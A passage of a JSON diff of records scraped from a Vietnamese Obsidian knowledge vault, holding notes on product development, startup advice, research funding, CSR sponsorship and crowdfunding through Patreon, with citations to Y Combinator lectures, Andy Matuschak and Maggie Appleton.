"```dataview\nLIST rows.file.link\nFROM \"Tài trợ từ doanh nghiệp, CSR\" \nWHERE file.name!=this.file.name\nGROUP BY split(file.folder, \"/\")[2]\n```\n\n[Hợp tác & Gây quỹ từ khối tư nhân — Viện iSEE](https://www.isee.org.vn/thu-vien/c8zk30ydi7y5ngxc99maqtpg3817r6-6kahw)", + "Toàn bộ nội dung": "Việc làm sản phẩm thì muốn làm thật ít chức năng càng tốt. Việc viết phần mềm đòi hỏi nên lên kế hoạch các chức năng kỹ càng, vì nếu không việc đập code rất mệt", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-12-19T10:41:00.000Z", - "Ngày cập nhật": "2023-12-19T10:41:00.000Z", - "id": "L4" + "Ngày tạo": "2024-06-21T18:33:00.000Z", + "Ngày cập nhật": "2024-07-07T08:16:00.000Z", + "id": "LI" }, { - "Tiêu đề": "Ít có doanh nghiệp nào làm CSR mà thực sự đặt vấn đề phát triển cộng đồng lên hàng đầu", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Tài trợ từ doanh nghiệp, CSR/Ít có doanh nghiệp nào làm CSR mà thực sự đặt vấn đề phát triển cộng đồng lên hàng đầu", + "Tiêu đề": "Đặc điểm của quy trình phát triển sản phẩm truyền thống là bước nghiên cứu xem ý tưởng có đúng không luôn đến sau việc nghĩ ra được ý tưởng đó trước", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Đặc điểm của quy trình phát triển sản phẩm truyền thống là bước nghiên cứu xem ý tưởng có đúng không luôn đến sau việc nghĩ ra được ý tưởng đó trước", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Phạm Trường Sơn]]", + "Toàn bộ nội dung": "Đây là quy trình phát triển sản phẩm truyền thống:\r\n![](https://i.imgur.com/UVkZGQo.png)\r\n\r\nLàm được theo quy trình này thì cũng rất tốt, nhưng thực tế thì thường ít làm theo như vậy vì không có thời gian/quá nhiều việc. Hệ quả là\r\n1. \r\n2. [[Việc kiểm định giả thuyết thường bị bỏ qua khi có quá nhiều việc|Đa phần là không làm nghiên cứu]]\r\n3. Có test thì chỉ test kỹ thuật mà thôi, chứ không có user\r\n4. Promote với launch thì chỉ âm thầm launch. Có quảng bá thì cũng không biết ai đọc được. [[Sản phẩm ra mắt 10 năm rồi cũng có thể không biết gì về người dùng]]\r\n\r\nKết quả của việc này là [[Nhiều khi vấn đề chỉ được phát hiện ra khi đến khâu triển khai ý tưởng]]\r\n\r\nNguồn:: [[Hoàng Đức Minh]]\r\n\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-12-10T14:40:00.000Z", - "id": "L5" + "Ngày tạo": "2023-09-09T16:40:00.000Z", + "Ngày cập nhật": "2023-11-28T06:07:00.000Z", + "id": "LJ" }, { - "Tiêu đề": "Việc thuê ngoài chỉ giải quyết được một lần, trong khi phải thử rất nhiều lần", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Việc thuê ngoài chỉ giải quyết được một lần, trong khi phải thử rất nhiều lần", + "Tiêu đề": "❓Có nên làm tiếp thị khi mình chưa làm nghiên cứu người dùng không", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/❓Có nên làm tiếp thị khi mình chưa làm nghiên cứu người dùng không", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n[[Hãy nhắm còn đủ tiền cho khoảng 20 đến 30 lần thất bại]]\n\nNguồn:: [[Y Combinator]], ![David Rusenko - How To Find Product Market Fit - YouTube](https://youtu.be/0LNQxT9LvM0?si=t0Na8uT-tMSYXUa4&t=1201)\n", + "Toàn bộ nội dung": "Trong trường hợp mình đã có sẵn một sản phẩm để đáp ứng nhu cầu của người rồi (thường là khách hàng đầu tiên đặt hàng hoặc là chính nhu cầu của mình), và giờ mình đang tìm thêm những khách hàng có cùng nhu cầu đó,", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-27T06:45:00.000Z", - "id": "L6" + "Ngày cập nhật": "2023-10-27T18:30:00.000Z", + "id": "LK" }, { - "Tiêu đề": "30% of the pivotal papers from Nobel laureates in medicine, physics and chemistry was done without direct funding", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Xin quỹ nghiên cứu/30% of the pivotal papers from Nobel laureates in medicine, physics and chemistry was done without direct funding", + "Tiêu đề": "❓Thu thập kinh nghiệm từ các blog cũng là xây dựng sản phẩm", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/❓Thu thập kinh nghiệm từ các blog cũng là xây dựng sản phẩm", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[Fund people not projects | Nature](https://www.nature.com/articles/477529a \"Fund people not projects | Nature\")\r\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-11-13T06:06:00.000Z", - "id": "L7" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-11-07T12:22:00.000Z", + "id": "LL" }, { - "Tiêu đề": "Kinh nghiệm gây quỹ cho dự án nghiên cứu độc lập", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Xin quỹ nghiên cứu/Kinh nghiệm gây quỹ cho dự án nghiên cứu độc lập", + "Tiêu đề": "❓Tung ra quá sớm sẽ dễ bị thị trường chi phối ngược lại", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/❓Tung ra quá sớm sẽ dễ bị thị trường chi phối ngược lại", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "https://andymatuschak.org/2022/ \n\n[[30% of the pivotal papers from Nobel laureates in medicine, physics and chemistry was done without direct funding]]\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-07T11:30:00.000Z", - "Ngày cập nhật": "2023-11-28T03:54:00.000Z", - "id": "L8" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-11-07T12:22:00.000Z", + "id": "LM" }, { - "Tiêu đề": "Làm thứ một số người rất cần quan trọng hơn là làm thứ nhiều người thấy hay", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Thành lập dự án/Làm thứ một số người rất cần quan trọng hơn là làm thứ nhiều người thấy hay", + "Tiêu đề": "❓Với một sản phẩm demo còn nhiều lỗi vặt thì có cần phải hoàn thiện những lỗi vặt đó trước khi hỏi ý kiến khách hàng không?", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/❓Với một sản phẩm demo còn nhiều lỗi vặt thì có cần phải hoàn thiện những lỗi vặt đó trước khi hỏi ý kiến khách hàng không?", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Làm thứ một số người rất cần quan trọng hơn là làm thứ nhiều người thấy hay. Biến một thứ một số người cần thành một thứ nhiều người cần dễ hơn là biến một thứ nhiều người thích thành một thứ nhiều người cần.\n\nGiống như là ta chỉ có thể tạo ra một lượng hứng thú cố định. Câu hỏi là ta sẽ chia nó ra cho bao nhiêu người?\n\n[[Sự đơn giản ép ta phải làm nó cực kỳ tốt]] \nNguồn:: [[Y Combinator]], [Lecture 1 - How to Start a Startup (Sam Altman, Dustin Moskovitz) - YouTube](https://youtu.be/CBYhVcO4WgI?si=goJZ_SaMrzyTUcpj&t=1002)\n\n[[Đa số startup không chết vì cạnh tranh với đối thủ, mà vì không có người dùng sản phẩm của mình]]", + "Toàn bộ nội dung": "[[❓Có nên làm tiếp thị khi mình chưa làm nghiên cứu người dùng không]] ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-11-26T05:45:00.000Z", - "Ngày cập nhật": "2023-11-26T08:27:00.000Z", - "id": "L9" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T18:31:00.000Z", + "id": "LN" }, { - "Tiêu đề": "Chiếm lĩnh thị trường nhỏ trước", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Thành lập dự án/Startup/Chiếm lĩnh thị trường nhỏ trước", + "Tiêu đề": "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Làm thứ một số người rất cần quan trọng hơn là làm thứ nhiều người thấy hay]]. Biến một thứ một số người cần thành một thứ nhiều người cần dễ hơn là biến một thứ nhiều người thích thành một thứ nhiều người cần\n\n[[Tăng trưởng của thị trường quan trọng hơn tăng trưởng doanh số]] \n[[Đa số startup không chết vì cạnh tranh với đối thủ, mà vì không có người dùng sản phẩm của mình]]\n\nNguồn:: [[Y Combinator]], [Lecture 1 - How to Start a Startup (Sam Altman, Dustin Moskovitz) - YouTube](https://youtu.be/CBYhVcO4WgI?si=goJZ_SaMrzyTUcpj&t=1002)", + "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nFROM \"⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức\" \nWHERE file.name!=this.file.name\nGROUP BY split(file.folder, \"/\")[2]\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-26T08:24:00.000Z", - "id": "LA" + "Ngày tạo": "2023-11-07T07:28:00.000Z", + "Ngày cập nhật": "2023-11-27T06:52:00.000Z", + "id": "LO" }, { - "Tiêu đề": "Hiểu về quản trị chỉ cần thiết khi đã có thành công bước đầu. Trước đó thì hãy chỉ tập trung vào sản phẩm", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Thành lập dự án/Startup/Hiểu về quản trị chỉ cần thiết khi đã có thành công bước đầu. Trước đó thì hãy chỉ tập trung vào sản phẩm", + "Tiêu đề": "Người đã muốn tiết kiệm thời gian sẽ chấp nhận trả phí", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Bán cho khách hàng/Người đã muốn tiết kiệm thời gian sẽ chấp nhận trả phí", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Những nhân viên đầu tiên ta không phải quản lý, vì họ cũng không khác gì người sáng lập cả\n\nNguồn:: [[Y Combinator]], ![Lecture 3 - Before the Startup (Paul Graham) - YouTube](https://www.youtube.com/watch?v=ii1jcLg-eIQ)\n\n[[Chỉ nên nghĩ về viral khi đã có một lượng người thực sự sử dụng sản phẩm của mình]] ", + "Toàn bộ nội dung": "Nguồn:: [[Điệp]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-26T08:24:00.000Z", - "id": "LB" + "Ngày tạo": "2023-11-08T11:27:00.000Z", + "Ngày cập nhật": "2023-11-08T11:27:00.000Z", + "id": "LP" }, { - "Tiêu đề": "Không có giải pháp nào cho người sáng lập để giải quyết sự quá tải ngoài những lời khuyên chung chung", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Thành lập dự án/Startup/Không có giải pháp nào cho người sáng lập để giải quyết sự quá tải ngoài những lời khuyên chung chung", + "Tiêu đề": "Nhiều người thấy việc không thu phí thì chỉ làm cho vui, dễ bug", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Bán cho khách hàng/Nhiều người thấy việc không thu phí thì chỉ làm cho vui, dễ bug", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Vấn đề ngắn hạn hay dài hạn không quan trọng, quan trọng là làm cái này mà phải nghĩ về cái khác thì sẽ nhức đầu]] \n[[Chưa thấy có dự án nào nói về việc làm giảm tải gánh nặng công việc cho người bên cạnh mình]] ", + "Toàn bộ nội dung": "[[Sự miễn phí chỉ có ích khi ta cần phản hồi của người dùng, hoặc khi nền tảng của ta cần hiệu ứng mạng]]\nNguồn:: [[Điệp]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-11-04T08:15:00.000Z", - "Ngày cập nhật": "2024-08-21T11:23:00.000Z", - "id": "LC" + "Ngày tạo": "2023-11-08T11:28:00.000Z", + "Ngày cập nhật": "2023-11-26T05:24:00.000Z", + "id": "LQ" }, { - "Tiêu đề": "Làm người sáng lập có hại cho việc cân bằng cuộc sống", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Thành lập dự án/Startup/Làm người sáng lập có hại cho việc cân bằng cuộc sống", + "Tiêu đề": "Crowdfunding depends on highly visible public work", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Gọi vốn cộng đồng/Crowdfunding depends on highly visible public work", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ![Sam Altman - How to Succeed with a Startup - YouTube](https://youtu.be/0lJKucu6HJc?si=KZSfIRxwf6NzLRPa&t=618)\n\n[[Bảng quan trọng – khẩn cấp]]\n[[Quản lý công việc và quản lý kiến thức không thể tách rời nhau]], vì [[Công việc khai phá chính là quản lý kiến thức]] \n[[Không có giải pháp nào cho người sáng lập để giải quyết sự quá tải ngoài những lời khuyên chung chung]]\n[[Việc mải mê làm việc đến quên cả đói cho thấy phần thưởng từ việc làm việc là đủ lớn hơn việc được ăn]] \n[[Chưa thấy có dự án nào nói về việc làm giảm tải gánh nặng công việc cho người bên cạnh mình]] \n[[Các dự án xã hội không tập trung vào việc đối thoại với người bên cạnh mình]]\n[[Công việc và cuộc sống không thể tách rời nhau]] \n[[Xong hạn chót này thì sẽ tới hạn chót khác]] \n[[Nhiều người muốn hỏi ý kiến của người sáng lập nhưng không hỏi trong cộng đồng chung mà chỉ muốn nhắn riêng]]\n[[Công việc và cuộc sống không thể tách rời nhau]]\n[[Những công việc chưa hoàn thành sẽ ám ảnh ta (hiệu ứng Zeigarnik)]]", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-21T11:23:00.000Z", - "id": "LD" + "Ngày tạo": "2023-06-07T11:30:00.000Z", + "Ngày cập nhật": "2024-04-20T16:00:00.000Z", + "id": "LR" }, { - "Tiêu đề": "Làm thứ phức tạp hơn thì dễ, làm thứ tốt hơn thì khó", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Thành lập dự án/Startup/Làm thứ phức tạp hơn thì dễ, làm thứ tốt hơn thì khó", + "Tiêu đề": "Funder-exclusive writing should be a secondary by-product of primary work", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Gọi vốn cộng đồng/Funder-exclusive writing should be a secondary by-product of primary work", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ![Douglas Crockford: The JSON Saga - YouTube](https://youtu.be/-C-JoyNuQJs?si=fdPRE5nKDx_KynGI&t=1226)", + "Toàn bộ nội dung": "Unlike a typical paid newsletter or blog, funder-exclusive writing is a secondary by-product of my primary work. In this way, I’m not a traditional “content creator.” Sometimes I catch myself thinking in terms of what I’ll write or report next to my funders. That’s not good. Such a mindset, taken too seriously, encourages shallower work designed to appease others. Also, I’m human, so I naturally want to report successes. But this can create the same pressures which exist in scientific publishing: short-term-ism, conservatism, publication bias, harmful over-claiming. In research, it’s terribly important that you be brutally honest with yourself. I don’t think it’s possible to craft marketing-like messages about your “great progress” without closing your own eyes to what’s actually happening—which means you’d better be brutally honest when talking to others about your work.\r\n\r\nNguồn:: [[Andy Matuschak]], [Reflections on 2020 as an independent researcher | Andy Matuschak](https://andymatuschak.org/2020/)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-01-14T07:25:00.000Z", - "id": "LE" + "Ngày tạo": "2023-06-07T11:31:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "id": "LS" }, { - "Tiêu đề": "Nhà đầu tư không ăn cắp ý tưởng vì phải cạnh tranh với các nhà đầu tư khác", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Thành lập dự án/Startup/Nhà đầu tư không ăn cắp ý tưởng vì phải cạnh tranh với các nhà đầu tư khác", + "Tiêu đề": "Getting Paid for Open Source Work", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Gọi vốn cộng đồng/Getting Paid for Open Source Work", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Trường hợp code quá dễ chắc tầm một tuần là làm được thì mới bị bắt chước, và như vậy thì từ đầu họ đã thấy không đáng để đầu tư rồi. Tự thị trường cũng đã có giải pháp để giải quyết được nhu cầu đó rồi. Chỉ khi nào tốn vài tháng để làm thì mới không đáng copy mà đáng đầu tư, vì nếu đi copy thì sẽ không cạnh tranh được với một nhà đầu tư khác đầu tư luôn vào mình.\n\nChỉ khi nào đã có người thống lĩnh thị trường rồi (70%) thì mới không nên nhảy vào", + "Toàn bộ nội dung": "Nguồn:: [Getting Paid for Open Source Work | Open Source Guides](https://opensource.guide/getting-paid/)\r\n\r\nhttps://www.cs.cmu.edu/~ckaestne/pdf/icse20-donations.pdf\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-26T08:25:00.000Z", - "id": "LF" + "Ngày tạo": "2023-06-07T11:30:00.000Z", + "Ngày cập nhật": "2023-10-14T16:47:00.000Z", + "id": "LT" }, { - "Tiêu đề": "Những dự án ngoài lề thường là ý tưởng tốt cho startup. Những ý tưởng chỉ để có một startup lại thường không tốt", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Thành lập dự án/Startup/Những dự án ngoài lề thường là ý tưởng tốt cho startup. Những ý tưởng chỉ để có một startup lại thường không tốt", + "Tiêu đề": "Lý do thường gặp nhất của những người ủng hộ trên Patreon là để sản phẩm mà tác giả đang làm hoàn thành sớm hơn, hơn là để cảm ơn những gì họ đã làm", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Gọi vốn cộng đồng/Lý do thường gặp nhất của những người ủng hộ trên Patreon là để sản phẩm mà tác giả đang làm hoàn thành sớm hơn, hơn là để cảm ơn những gì họ đã làm", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Y Combinator]], ![Lecture 3 - Before the Startup (Paul Graham) - YouTube](https://www.youtube.com/watch?v=ii1jcLg-eIQ)\n[[Những công cụ nghĩ tốt đa phần là sản phẩm phụ của những nỗ lực giải quyết những vấn đề nghiêm túc]]\n[[When someone's taking time to do something right in the present, they're a perfectionist with no ability to prioritize, whereas when someone took time to do something right in the past, they're a master artisan of great foresight]]\n\n[[Phần thưởng ngoại sinh làm tăng sự tập trung vào đích đến và giảm sự quan sát tới những thứ khác]]\n[[Ý tưởng sinh ra không theo độ khẩn cấp]]\n[[Có những lúc đầu tư vào một người để họ tạo ra sản phẩm của họ sẽ đem lại nhiều lợi nhuận hơn trả lương cho họ để họ làm cho sản phẩm của mình]] \n", + "Toàn bộ nội dung": "> In my interactions with patrons, I’ve been surprised to find that altruism is rarely the dominant force. Patrons mostly don’t think of themselves as paying for consumption of past work; they’re buying into production of future work.\r\n![](https://andymatuschak.org/static/2020/graph.png) \r\n\r\nLượng tăng đột biến vào tháng 5/2020 là khi anh quyết định sẽ viết thêm nhiều bài viết độc quyền chỉ những ai úng hộ mới có.\r\n\r\n>In December of 2020, I asked my patrons to briefly explain why they support my work. Roughly a quarter of my patrons wrote back. The vast majority framed their motivations in terms of supporting production of future work. Some people quite specifically want to use a prototype I’m developing; others just want to see certain ideas developed further. About a third framed their funding in terms of “[people, not projects](https://www.nature.com/articles/477529a),” expressing general confidence that I’ll do interesting work. Naturally, that’s my favorite kind of support. After this cluster of answers, the distant second most common motivation was access to the behind-the-scenes content.\r\n\r\nkhi được hỏi trực tiếp, thì rất ít người nói rằng họ làm vậy để được đọc cái bài viết chỉ dành cho người ủng hộ\r\nNguồn:: [[Andy Matuschak]], [Reflections on 2020 as an independent researcher | Andy Matuschak](https://andymatuschak.org/2020/)\r\n\r\n[[Crowdfunding depends on highly visible public work]] [[Quyên góp cho mã nguồn mở thiếu sự khẩn cấp và đồng cảm cá nhân mà các tổ chức từ thiện hay có]]\r\n\r\nKhó khăn:: [[Phỏng vấn thường kém chính xác trong việc dự đoán các hành vi tương lai của người dùng]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-12-06T09:27:00.000Z", - "id": "LG" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-12-30T14:42:00.000Z", + "id": "LU" }, { - "Tiêu đề": "Quá trình chú ý và ghi nhớ ép ta phải đơn giản", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Thành lập dự án/Startup/Quá trình chú ý và ghi nhớ ép ta phải đơn giản", + "Tiêu đề": "Patreon không được thiết kế để có được sự tương tác trực tiếp với người ủng hộ", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Gọi vốn cộng đồng/Patreon không được thiết kế để có được sự tương tác trực tiếp với người ủng hộ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: [[Đơn giản]]\n[[Sự đơn giản ép ta phải làm nó cực kỳ tốt]], nhưng [[Chỉ theo đuổi một chỉ số là quá đơn giản]]", + "Toàn bộ nội dung": "> internet culture as it's also so brand new. The internet is still a complete baby and we have yet to figure it out obviously given the sort of all the awful things that sometimes play out on the internet. And Patreon also seems like it's very much part of that. It's very much like we realize that this isn't really working, right? Because someone who subscribes to your Patreon doesn't really get a meaningful social interaction with you, which is probably what they want in some consents through their monthly payment. And you don't know who these people are in any meaningful human sense of having a social interaction with them and a bond. So on a fundamental level, this whole, this whole system is not doing what we need it to.\r\n\r\n[[Patreon vận hành gần giống như một cuộc mua bán hơn là hoàn toàn ủng hộ]] \r\n\r\nNguồn:: [[Maggie Appleton]], [MA 11: Maggie Appleton on Open Source as a Gift Economy - Maintainers Anonymous](https://maintainersanonymous.com/gift/#t=31:23)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-14T05:43:00.000Z", - "id": "LH" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "id": "LV" }, { - "Tiêu đề": "Startup = tăng trưởng", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Thành lập dự án/Startup/Startup = tăng trưởng", + "Tiêu đề": "Patreon quảng cáo theo ngôn ngữ của kinh tế quà tặng, nhưng cách vận hành lại theo kinh tế thị trường", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Quỹ, gọi vốn/Gọi vốn cộng đồng/Patreon quảng cáo theo ngôn ngữ của kinh tế quà tặng, nhưng cách vận hành lại theo kinh tế thị trường", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \nKhông có ai bắt buộc một công ty phải tăng trưởng cả. Giống như những con cá sống ở biển được gọi là cá biển, những công ty nếu có tăng trưởng cao được gọi là startup. Nhưng cá biển với cá sông hay cá hồ thì cũng đều bình đẳng với nhau về định nghĩa. Tăng trưởng không phải là sự trói buộc của công ty hay mô hình kinh doanh, mà là sự trói buộc của loài người trong việc phân loại chúng.\n\nMột công ty làm được $1000/tháng với độ tăng trưởng 1%/tuần sau 4 năm kiếm được $7900/tháng. Nhưng nếu nó có mức độ tăng trưởng 5%/tuần sau 4 năm sẽ kiếm được $25 triệu/tháng. Bởi vì [[Chúng ta không quen thuộc với luỹ thừa]], nên chúng ta khó hiểu được vì sao có những người chấp nhận trói buộc mình vào tăng trưởng đến như vậy.\n\nViệc gọi vốn giúp nhà sáng lập chọn được mức độ tăng trưởng. Nhà đầu tư chấp nhận bỏ những số tiền khủng khiếp cho những ý tưởng rất có thể sẽ thất bại vì mức độ tăng trưởng.\n\nNguồn:: [[Y Combinator]], [Startup = Growth](http://paulgraham.com/growth.html)\n[[Tăng trưởng là khoảng cách giữa chuyển đổi và rời bỏ]] ", + "Toàn bộ nội dung": "> So the UI is focused on that and so it's not really about making relationship, it's about extracting money from people. It feels, and you can say the same with GitHub. I feel like GitHub is also, even though it's about open source, a lot of times it feels transactional in a way as well. It's efficiency of code and project management versus dealing with burnout or mentorship or onboarding or off-boarding, even all these different concepts that are not in the product because you have to do all these things outside.\r\n\r\nNguồn:: [[Maggie Appleton]], [MA 11: Maggie Appleton on Open Source as a Gift Economy - Maintainers Anonymous](https://maintainersanonymous.com/gift/#t=33:11)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-07-24T07:04:00.000Z", - "id": "LI" + "Ngày tạo": "2023-06-07T08:52:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "id": "LW" }, { - "Tiêu đề": "Startup giải quyết những vấn đề nghe thì tồi", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Thành lập dự án/Startup/Startup giải quyết những vấn đề nghe thì tồi", + "Tiêu đề": "Patreon vận hành gần giống như một cuộc mua bán hơn là hoàn toàn ủng hộ", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây 